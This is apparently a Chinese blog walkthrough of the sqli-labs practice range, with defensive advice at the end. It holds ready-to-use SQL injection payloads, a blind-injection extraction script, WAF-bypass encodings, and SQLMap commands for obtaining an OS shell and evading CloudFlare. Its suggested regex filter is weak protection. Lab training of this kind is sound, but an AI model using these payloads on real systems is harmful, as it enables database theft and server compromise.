SQL注入实战指南:sqli-labs全关卡通关详解与技巧总结
SQL注入实战指南:sqli-labs全关卡通关详解与技巧总结
sqli-labs下载地址:
https://download.csdn.net/download/m0_53073183/90294459
sqli-labs通关手册:
https://download.csdn.net/download/m0_53073183/90424370
引言
SQL注入(SQL Injection)是Web安全领域的经典漏洞类型,长期占据OWASP Top 10榜单。对于想要入门渗透测试的学习者而言,sqli-labs是一个绝佳的实战靶场。本文将从环境搭建、基础注入原理到高阶技巧,手把手带你通关全部75+关卡,并分享独家解题思路!
一、环境搭建与准备工作
1.1 基础环境配置
- 工具包:PHPStudy(Apache+MySQL)、Burp Suite、SQLMap、HackBar
- 靶场下载:sqli-labs GitHub仓库
- 配置关键点:
若遇到关卡加载失败,检查/* 修改数据库密码 */ ALTER USER 'root'@'localhost' IDENTIFIED BY 'root'; FLUSH PRIVILEGES;
php.ini
是否开启allow_url_include
模块
1.2 学习路线规划
- 新手村:Less1-20(基础GET/POST注入)
- 进阶区:Less21-45(Cookie注入、二次注入)
- 高手营:Less46-65(盲注、堆叠注入)
- 地狱模式:Less66+(WAF绕过、编码绕过)
二、核心注入类型通关解析
2.1 基础联合查询(Less1-4)
典型Payload:
?id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
技巧:
- 使用
order by
判断列数 null
替代非回显位减少报错- 巧用
limit
逐条提取数据
2.2 报错注入(Less5-6)
关键函数:
?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
注意点:
- 数据截断问题:使用
substr()
分段获取 - 避免特殊字符:使用
hex()
编码
2.3 布尔盲注(Less8-10)
自动化脚本示例:
import requests
url = "http://localhost/Less-8/"
result = ""
for i in range(1,50):
for char in "abcdefghijklmnopqrstuvwxyz":
payload = f"?id=1' and substr(database(),{i},1)='{char}'--+"
if "You are in" in requests.get(url+payload).text:
result += char
print(result)
break
2.4 时间盲注(Less15)
特征判断:
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),0)--+
工具推荐:
- SQLMap的
--technique=T
参数 - 自定义延时判断脚本
三、高阶突破技巧
3.1 绕过WAF(Less25-26a)
经典绕过方式:
/* 大小写混淆 */
?id=1' UniOn SeLeCt 1,2,3--+
/* 双重URL编码 */
%252f%252a*/UNION%252f%252a*/SELECT 1,2,3--+
/* 注释符污染 */
id=1'/*!UNION*/+/*!SELECT*/1,2,3--+
3.2 二次注入(Less24)
攻击流程:
- 注册恶意用户名:
admin'#
- 密码修改时触发:
UPDATE users SET password='new_pass' WHERE username='admin'#'
3.3 堆叠注入(Less38)
利用场景:
?id=1';create table hacked(data varchar(100));--+
四、自动化工具实战
4.1 SQLMap高效用法
# 基础检测
sqlmap -u "http://localhost/Less-1/?id=1" --risk=3 --level=5
# 直接获取Shell
sqlmap -u [URL] --os-shell
# 绕过CloudFlare WAF
sqlmap -u [URL] --tamper=between,randomcase --delay=2
4.2 Burp Suite辅助测试
- Intruder爆破数据库名:
设置Payload类型为Brute forcer
,字符集选a-f,0-9
- Decoder模块快速编码:
对Payload进行多重URL编码
五、防御方案建议
通过靶场练习后,需理解修复方案:
- 预编译语句(PHP示例):
$stmt = $conn->prepare("SELECT * FROM users WHERE id=?"); $stmt->bind_param("i", $id);
- 严格过滤规则:
def sanitize(input): return re.sub(r'[;\"\'()]', '', input)
- 错误信息屏蔽:关闭PHP的
display_errors
结语
sqli-labs的通关只是SQL注入学习的起点,真实环境中的防御机制往往更加复杂。建议:
- 每个关卡尝试至少3种不同解法
- 阅读MySQL官方文档理解函数特性
- 在Hack The Box等平台继续实战
漏洞挖掘的本质是对数据流的极致追踪,祝你在安全之路上越走越远!
附录:速查表
关卡范围 | 注入类型 | 核心函数/技巧 |
---|---|---|
1-4 | 联合查询注入 | union select、information_schema |
5-7 | 报错注入 | updatexml、extractvalue |
8-10 | 布尔盲注 | length、substr、ascii |
15-17 | 时间盲注 | sleep、if、benchmark |
24-26 | 二次注入/WAF绕过 | 注释符混淆、多重编码 |
38-45 | 堆叠注入 | 分号多语句执行 |
声明:本文仅用于技术交流,请遵守《网络安全法》相关规定,禁止非法渗透测试!